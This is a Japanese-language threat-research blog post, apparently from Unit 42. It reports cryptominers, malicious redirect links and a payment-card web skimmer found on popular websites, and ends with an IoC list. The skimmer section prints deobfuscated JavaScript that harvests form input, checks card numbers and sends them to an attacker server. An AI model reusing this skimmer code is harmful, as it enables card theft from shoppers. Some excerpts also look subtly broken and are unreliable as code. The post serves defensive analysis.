This post is also available in: English (英語)
概要
最近Unit 42ではAlexa上の世界上位1万件のWebサイトについて、脅威ハンティングキャンペーンを行いました。AlexaランキングはWebサイトの人気度をはかるもので、閲覧者のインタラクションや閲覧数に基づいてランキングが算出されます。今回の脅威ハンティングでは脅威による影響を受けたサイトが4つ見つかりました。この概要を表1に概要を記載します。以下の分析では、悪意のあるアクティビティについて詳しく説明し、CPUリソースを乗っ取って暗号通貨をマイニングする悪意のあるコインマイナーのほか、ユーザーを悪意のあるサイトに誘導する悪意のある外部リンク、チェックアウトフォームから支払いカードの詳細を盗むように設計されたWebスキマー攻撃などについて取り上げていきます。
影響を受けたドメイン | 影響の種類 | 攻撃の種類 | Alexaランク(2020年6月15日現在) | サイトの種類 |
libero[.]it | 悪意のある外部リンク | 悪意のあるコインマイナー | 607 | イタリアでAlexaランク1位のWebサイト。Webメール、検索エンジン、ニュースなど、さまざまな種類のコンテンツとサービスを提供 |
pojoksatu[.]id | 侵害されたサイト | 悪意のあるコインマイナー | 1494 | インドネシアのニュースサイト |
www[.]heureka[.]cz | 悪意のある外部リンク | Webスキミング | 5204 | 中央・東ヨーロッパ市場で最大のeコマースプラットフォーム |
zoombangla[.]com | 侵害されたサイト | 悪意のあるコインマイナー | 6579 | バングラデシュのニュースサイト |
表1 影響を受けたトップAlexaサイトの概要
パロアルトネットワークス製品をご利用のお客様は前述の脅威からURLフィルタリングとクラウド配信のセキュリティサブスクリプション脅威防御により保護されています。
侵害されたサイト
悪意のあるコインマイナー
CoinhiveはMoneroブロックチェーン用JavaScriptマイナーを提供するブラウザーマイニングサービスでしたが、サイバー犯罪者に広く悪用されたことが一因となり、2019年3月にシャットダウンされました。ですが、Coinhiveのマイナースクリプトを提供しているWebサイトはまだ存在しています。coinhive.min[.]jsとJSEcoinの2つです。下の図1は、侵害されたWebサイト(zoombangla[.]com)でコインマイナーを起動するのに発行されたコマンドを示しています。
このマイナーは、以下のコードでユーザーのCPUをどのように使うかや、マイニング用スレッド数などを制御することができます。このほか、対象CPUをどの程度使うかについても制御可能です。パラメータに使用できるオプションを表2に示します。奇妙なことに上記のコードはマイナーが感染デバイスのバッテリを急速に枯渇させるような構成にしてありました。おそらくこの攻撃者は侵害に成功した対象デバイスを最大限利用してやろうと目論んだのでしょう。ほとんどの攻撃者は侵害デバイスの電力消費量を低く抑えることで検出を回避し、不正な金儲けを継続しようとするものですが、この事例では慌ててマイニングをして、適切な構成がされていなかったようです。
Throttle (スロットル) | CPU usage limit to (CPU使用率の制限) |
0 (デフォルト) | 100% |
0.3 | 80% |
0.5 | 50% – 70% |
表2 スロットルとCPU使用率マッピング用のパラメータ
さて次は別のWebサイト(pojoksatu[.]id)の事例を以下に示します。このサイトでもCoinhiveマイニングスクリプトを提供してコマンドを開始していました。
ユーザーが上記のサイトのいずれかにアクセスすると、コインマイニングスクリプトが自動的に実行され、攻撃者のためのマイニングを開始します。この結果、図3に示すようにユーザーのCPU負荷は増加します。
pojoksatu[.]idとzoombangla[.]comには合わせて60以上のURLページにCoinhiveマイニングスクリプトが挿入されていました。詳細については本稿末尾の付録を御覧ください。
悪意のある外部リンク
外部リンクのセキュリティはこれまでにまして重要になっています。メールサービス側のスパムを含む悪意のあるメッセージの発見能力が向上したために、攻撃者がそれらの代わりに外部リンクを使用したオープンリダイレクトを使うようになってきているからです。攻撃者が正当なWebサイトの投稿に悪意のあるURLを含めたとして、それを疑わしいと察知できる閲覧者はほぼいないでしょう。ユーザーがリンクをクリックしたり、まずはリンク先を確認しようとリンクにカーソルを合わせただけで、リンクに有効なWebサイトが表示されたとしても、結局は攻撃者がリダイレクトさせたい悪意のあるサイトに飛ばされてしまいます。その後ユーザーは、悪意のあるコインマイナーなど、ある種のマルウェアに感染したり個人情報を窃取される可能性があります。
次の図4は、libero[.]it上で中古車販売を行っている正当なWebサイトです。このサイトでは車両を検索・比較できるようになっていますが、図5-7に示すように、攻撃者は悪意のあるリンクを車の広告に挿入することで、車に関心のある閲覧者を悪意のあるサイトにリダイレクトして、JSEcoinコインマイニングスクリプトを挿入していました。なおJSEcoinプラットフォームは2020年4月4日に閉鎖されていますので、この点はご留意ください。スクリプト自体は実行されますが攻撃者はスクリプトからコインを収集することはできなくなっています。
このソースページは次のようになっています。
図5に示すように、強調表示されているすべての外部リンクはlibero[.]itに向けられています。この車についてもっと知りたければリンクをクリックする必要がありますが、そうすることで悪意のあるサイトにリダイレクトされます。
このサイトが悪意のあるコインマイナーが挿入される場所です。
Webスキミング
Eスキミング、あるいはMagecart攻撃とも呼ばれるWebスキミング攻撃は、あらかじめWebサイトの支払いページを侵害して悪意のあるコードが埋め込んでおき、チェックアウトフォームが入力された段階で支払いカードの詳細を盗むという攻撃手法です。
Alexaランキング上位のウェブサイトで見つけたサンプルは、別の外部リンクのセキュリティ問題に由来するものでした。heureka[.]cz 自体はECサイトで、このサイトでCOVID-19対策製品(ウェブサイトのトップ検索キーワード)を検索すると関連製品一覧が表示されます。
この商品の後ろにはストアが1つ掲載されていて、閲覧者はそのストアから製品を買うことができます。
このソースページは次のようになっています。
このストアを訪れたユーザーは悪意のあるサイトにリダイレクトされます。
図12に示すとおり、このサイトは残念ながら全体が難読化された悪意のあるスキミング用スクリプトで埋め尽くされていました。
難読化されているとどのような動作が発生するかを予測するのが難しいので、まずはこれを解除してやる必要がありました。難読化を解除すると次の一連の関数が見つかりました。これらの関数では、密かにユーザーによる支払いカード情報の入力を監視し、リモートの攻撃者サーバーに送信しています。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
function G1ED7H(XYRUDR) { var ZU554M = 0; XYRUDR = XYRUDR["split"](""); if (XYRUDR["length"] < 13 || XYRUDR["length"] > 19) return false; for (var E9VLQF = XYRUDR["length"] - 1; E9VLQF >= 0; E9VLQF--) { if (!XYRUDR[E9VLQF]["match"](/[0-9]/)) return false; if (!(E9VLQF % 2)) { ZU554M += (XYRUDR[E9VLQF] * 2 > 9) ? XYRUDR[E9VLQF] * 2 - 9 : XYRUDR[E9VLQF] * 2 } else { ZU554M += XYRUDR[E9VLQF] * 1 } } return !(ZU554M % 10) } |
この関数はLuhnアルゴリズムによるクレジットカード番号検証に使われています。Luhnアルゴリズムは、クレジットカード番号のようなさまざまな識別番号の検証に広く利用されているものです。
1 2 3 4 5 6 7 8 9 10 11 |
function XYRUDR() { var P23WTA = document['all'] || document['getElementsByTagName'](*); for (E9VLQF = 0; E9VLQF < P23WTA['length']; E9VLQF++) { if (".input.select.form.button.a.img."["indexOf"]("." + P23WTA[E9VLQF]["tagName"]["toLowerCase"]() + ".") >= 0 && !P23WTA[E9VLQF]["r"+Math["random"]()]) { P23WTA[E9VLQF]["r"+Math["random"]()] = 1; XCT5WY(P23WTA[E9VLQF], "mousedown"); } setTimeout(XYRUDR, 99) } |
ここがスキマーの開始部分です。99秒ごとに実行されて関数 XYRUDR を呼び出します。関数 XYRUDR は [input, select, form, button, a, img] に含まれるタグをすべて検索します。
1 2 3 4 5 |
function XCT5WY(P23WTA, "mousedown") { P23WTA["addEventListener"] ? P23WTA["addEventListener"](""mousedown", GB14BD, false) : P23WTA["attachEvent"]("onmousedown", GB14BD) } |
前述のタグの mousedown イベントリスナーを設定します。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
function GB14BD() { var P23WTA = document["all"] || document["getElementsByTagName"]("*"); E9VLQF, N798NL = "", E; ITCHLA = ""; for (E9VLQF = 0; E9VLQF < P23WTA["length"]; E9VLQF++) { if (".input.select."["indexOf"]("." + P23WTA[E9VLQF]["tagName"]["toLowerCase"]() + ".") >= 0 && P23WTA[E9VLQF]["value"]) { if (G1ED7H(P23WTA[E9VLQF]["value"]["split"](" ")["join"](""))) { ITCHLA = P23WTA[E9VLQF]["value"]["split"](" ")["join"](""); } N798NL += & + (P23WTA[E9VLQF]["name"] || P23WTA[E9VLQF]["id"] || "i_" + E9VLQF) + "=" + CVZLRD(P23WTA[E9VLQF]) } } if (ECUOWQ != N798NL && ITCHLA) { ECUOWQ = N798NL; MAU1KL() } } |
イベントがトリガーされるとこの関数を呼び出してタグの値を取得します。
1 2 3 4 5 6 7 8 9 10 11 |
function MAU1KL() { var ZU554M = "https://"; Y3V4T2 = String; ZU554M += "metahtmlhead.com" + "/" + "folder" + "/" + "ip" + "/" + "zxc" + "." + "php"; var P23WTA = document["createElement"]("script"); N798NL = document["getElementsByTagName"]("html")[0]; P23WTA = N798NL["insertBefore"](P23WTA, null); P23WTA["src"] = ZU554M + "?r=" + MLEMCG + ECUOWQ + "&" + "c" + "c" + "=" + ITCHLA } |
この関数を利用して収集サーバーにクレジットカード情報を送信します。
要約すると、このwebスキマーのワークフローは次のとおりです。
- [input, select, form, button, a, img]の各タグ用にイベントリスナーを追加
- 数字文字列がクレジットカード検証チェックに合格すれば情報を送出
- 収集サーバーのURLとパラメータを作成し情報を送信
攻撃が成功するとクレジットカード番号、住所など、すべてのユーザー情報がリモートの攻撃者サーバーに送信されます。
収集サーバー:metahtmlhead[.]com
URLフィルタリング分析
この円グラフは、私たちが観察した、脅威の影響を受けたサイトを訪れた閲覧のおおよその地理的分布を示すものです。大多数は明らかに西ヨーロッパからの閲覧で、米国東部・西部からの閲覧もかなりの割合をしめています。この円グラフは、被害者となりうる閲覧者が世界中の広い範囲におよんでいることを示しています。
結論
今回の調査からは人気もあって一見評判の良いWebサイトであっても慎重に閲覧する必要があることが明らかになりました。なぜならそうしたサイトは悪意のあるコインマイニングやWebスキミングを集中して狙っている攻撃者にとっても最も高い収入をもたらしてくれるサイトだからです。ですから外部サイトを開くようなリンクをクリックするときは、たどりついたサイトのURL全体に注意を払い、いまいる場所が自分が意図したサイトかどうかを確認する必要があります。悪意のあるコインマイナーを回避するシンプルな方法は、エンドポイントセキュリティをインストールしてブラウザやシステムにすべての更新プログラムを適用しておくことです。
パロアルトネットワークス製品をご利用のお客様は前述の脅威からURLフィルタリングとクラウド配信のセキュリティサブスクリプション脅威防御により保護されています。
IoC
- zoombangla[.]com/career/
- bandung[.]pojoksatu[.]id/politik-2/pemilihan-legislatif/#terpopuler
- clickout[.]libero[.]it/auto-furgoni-in-vendita/AVzIAHFZ2VJ8PlgGhbdOweEIAAABZw
- www[.]heureka[.]cz/exit/ovci-veci-cz/3773569318/?z=2&p=29&tb=0
- www[.]ovci-veci[.]cz
- www[.]clicautousate[.]it/auto/mini-cabrio-torino-1855861[.]php?utm_source=libero.it
- bandung[.]pojoksatu[.]id/read/2018/07/08/made-wirawan-waspadai-motivasi-berlipat/
- bandung[.]pojoksatu[.]id/lifestyle/wisata/
- bandung[.]pojoksatu[.]id/persib/
- bandung[.]pojoksatu[.]id/read/2018/07/07/partai-pendukung-ridwan-kamil-kuasai/
- bandung[.]pojoksatu[.]id/#mingguini
- bandung[.]pojoksatu[.]id/bandung-barat
- bandung[.]pojoksatu[.]id//id/corporate-social-responsibility[.]html
- bandung[.]pojoksatu[.]id//id[.]html
- bandung[.]pojoksatu[.]id/iklan/bjb-lebaran/
- bandung[.]pojoksatu[.]id/read/2018/07/07/warganet-heboh-amanda-manopo-upload-foto/feed/
- bandung[.]pojoksatu[.]id/read/2018/07/07/pencipta-lagi-syantik-bantah-ambil-jargon/
- bandung[.]pojoksatu[.]id/read/2018/07/08/siti-badriah-langsung-jawab-sindiran/
- bandung[.]pojoksatu[.]id/read/2018/07/09
- bandung[.]pojoksatu[.]id/olahraga/top-soccer/
- bandung[.]pojoksatu[.]id/jabar-area/
- bandung[.]pojoksatu[.]id/read/2018/07/09/puncaki-daftar-topscorer-ini-reaksi-ezechiel/
- bandung[.]pojoksatu[.]id/pojok-info/
- bandung[.]pojoksatu[.]id/politik-2/pilgub-jabar/
- bandung[.]pojoksatu[.]id//id/corporate-website/kontak-kami[.]html
- bandung[.]pojoksatu[.]id/lifestyle/kuliner/
- bandung[.]pojoksatu[.]id//id/corporate-website/rate-dan-biaya/prime-lending-rate[.]html
- bandung[.]pojoksatu[.]id/read/tag/berita-selebritis/
- bandung[.]pojoksatu[.]id/bandung/
- bandung[.]pojoksatu[.]id/?p%3D177978
- bandung[.]pojoksatu[.]id/read/2018/07/02/bagaimana-cara-membuat-si-dia-terpuaskan/
- bandung[.]pojoksatu[.]id/politik/
- bandung[.]pojoksatu[.]id//id/corporate-website[.]html
- bandung[.]pojoksatu[.]id/bisnis/
- bandung[.]pojoksatu[.]id/read/2018/07/08/vincenzo-alberto-annese-persib-vs-psis-duel
- bandung[.]pojoksatu[.]id/read/2018/07/09/kapolda-jabar-apresiasi-1-800-bandit-jalanan-diamankan-jelang-asian/
- bandung[.]pojoksatu[.]id/read/2018/07/07/jennifer-lopez-dan-alex-rodriguez
- bandung[.]pojoksatu[.]id/read/2018/07/08/kroasia-menuju-semifinal
- bandung[.]pojoksatu[.]id/read/2018/07/08/mario-gomez-demi-3-poin-persib-main/
- bandung[.]pojoksatu[.]id/read/2018/07/08/livorno-maaf-juve-kami-sudah-dapatkan-cristiano-lebih/
- bandung[.]pojoksatu[.]id/read/2018/07/07/mantap-lagu-exo-akan-dimainkan-di-final-piala-dunia/
- bandung[.]pojoksatu[.]id/politik-2/pilkada-serentak/
- bandung[.]pojoksatu[.]id/read/2018/07/07/warganet-heboh-amanda-manopo-upload-foto/#respond
- bandung[.]pojoksatu[.]id/read/2018/07/07/jika-mediasi-gagal-sule-pasrah-dicerai/
- bandung[.]pojoksatu[.]id/kabupaten-bandung/
- bandung[.]pojoksatu[.]id/read/2018/07/09/made-wirawan-waspadai-permainan-cepat/
- bandung[.]pojoksatu[.]id//en[.]html
- bandung[.]pojoksatu[.]id/read/2018/07/07/gairah-seks-menurun-sikat-5-buah-ini-sebelum/
- bandung[.]pojoksatu[.]id/read/2018/07/08/sah-ade-yasin-iwan-setiawan-menang-di-pilbup-bogor/
- bandung[.]pojoksatu[.]id/selebritis/
- bandung[.]pojoksatu[.]id/read/2018/07/06/brotherhood-meradang-keluarkan-maklumat-soal/
- bandung[.]pojoksatu[.]id/olahraga/
- bandung[.]pojoksatu[.]id/#grve-polling-modal
- bandung[.]pojoksatu[.]id/read/2018/07/09/kpu-jabar-klaim-tak-ada-celah-gugat-hasil-rekap-suara/
- bandung[.]pojoksatu[.]id/comments/feed/
- bandung[.]pojoksatu[.]id/olahraga/moto-gp/
- bandung[.]pojoksatu[.]id/read/2018/07/08/rekap-suara-pilgub-jabar-diprediksi-minggu/
- bandung[.]pojoksatu[.]id/read/2018/07/08/pemkot-bandung-bakal-tertibkan-minimarket/
- bandung[.]pojoksatu[.]id/lifestyle/belanja/
- bandung[.]pojoksatu[.]id/read/editor/redaksi3/
- bandung[.]pojoksatu[.]id/read/2018/07/07/warganet-heboh-amanda-manopo-upload-foto/
- bandung[.]pojoksatu[.]id/read/2018/07/08/timnas-indonesia-dipastikan-segel-tiket-semifinal-piala-aff-u-19/
- bandung[.]pojoksatu[.]id/read/2018/07/08/hade-pisan-ezechiel-selain-raja-gol-persib-ternyata-ada-prestasi/
- bandung[.]pojoksatu[.]id/read/2018/07/08/mario-gomez-ayo-bobotoh-birukan-gbla-sore/
- bandung[.]pojoksatu[.]id/read/2018/07/08/harga-tiket-asian-games-2018-kemahalan-cak-imin-angkat-suara/
- bandung[.]pojoksatu[.]id/iklan/iklan-dprd/
- bandung[.]pojoksatu[.]id/read/2018/07/08/kata-pengamat-peluang-prabowo-ahy-kalahkan-jokowi-lebih/
- bandung[.]pojoksatu[.]id/iklan/pemprov-jabar/
- bandung[.]pojoksatu[.]id/read/2018/07/09/si-jago-merah-lahap-rumah-di-jalan-tera-belakang/
- bandung[.]pojoksatu[.]id//id/corporate-website/rate-dan-biaya/kurs-valas[.]html
- bandung[.]pojoksatu[.]id/read/2018/07/09/kemenangan-emil-dan-banyak-catatan-bawaslu-untuk-kpu/
- bandung[.]pojoksatu[.]id/lifestyle/
- bandung[.]pojoksatu[.]id/read/2018/07/01/cadas-ferry-pak-presiden-jokowi-aja-suruh-bunuh-diri/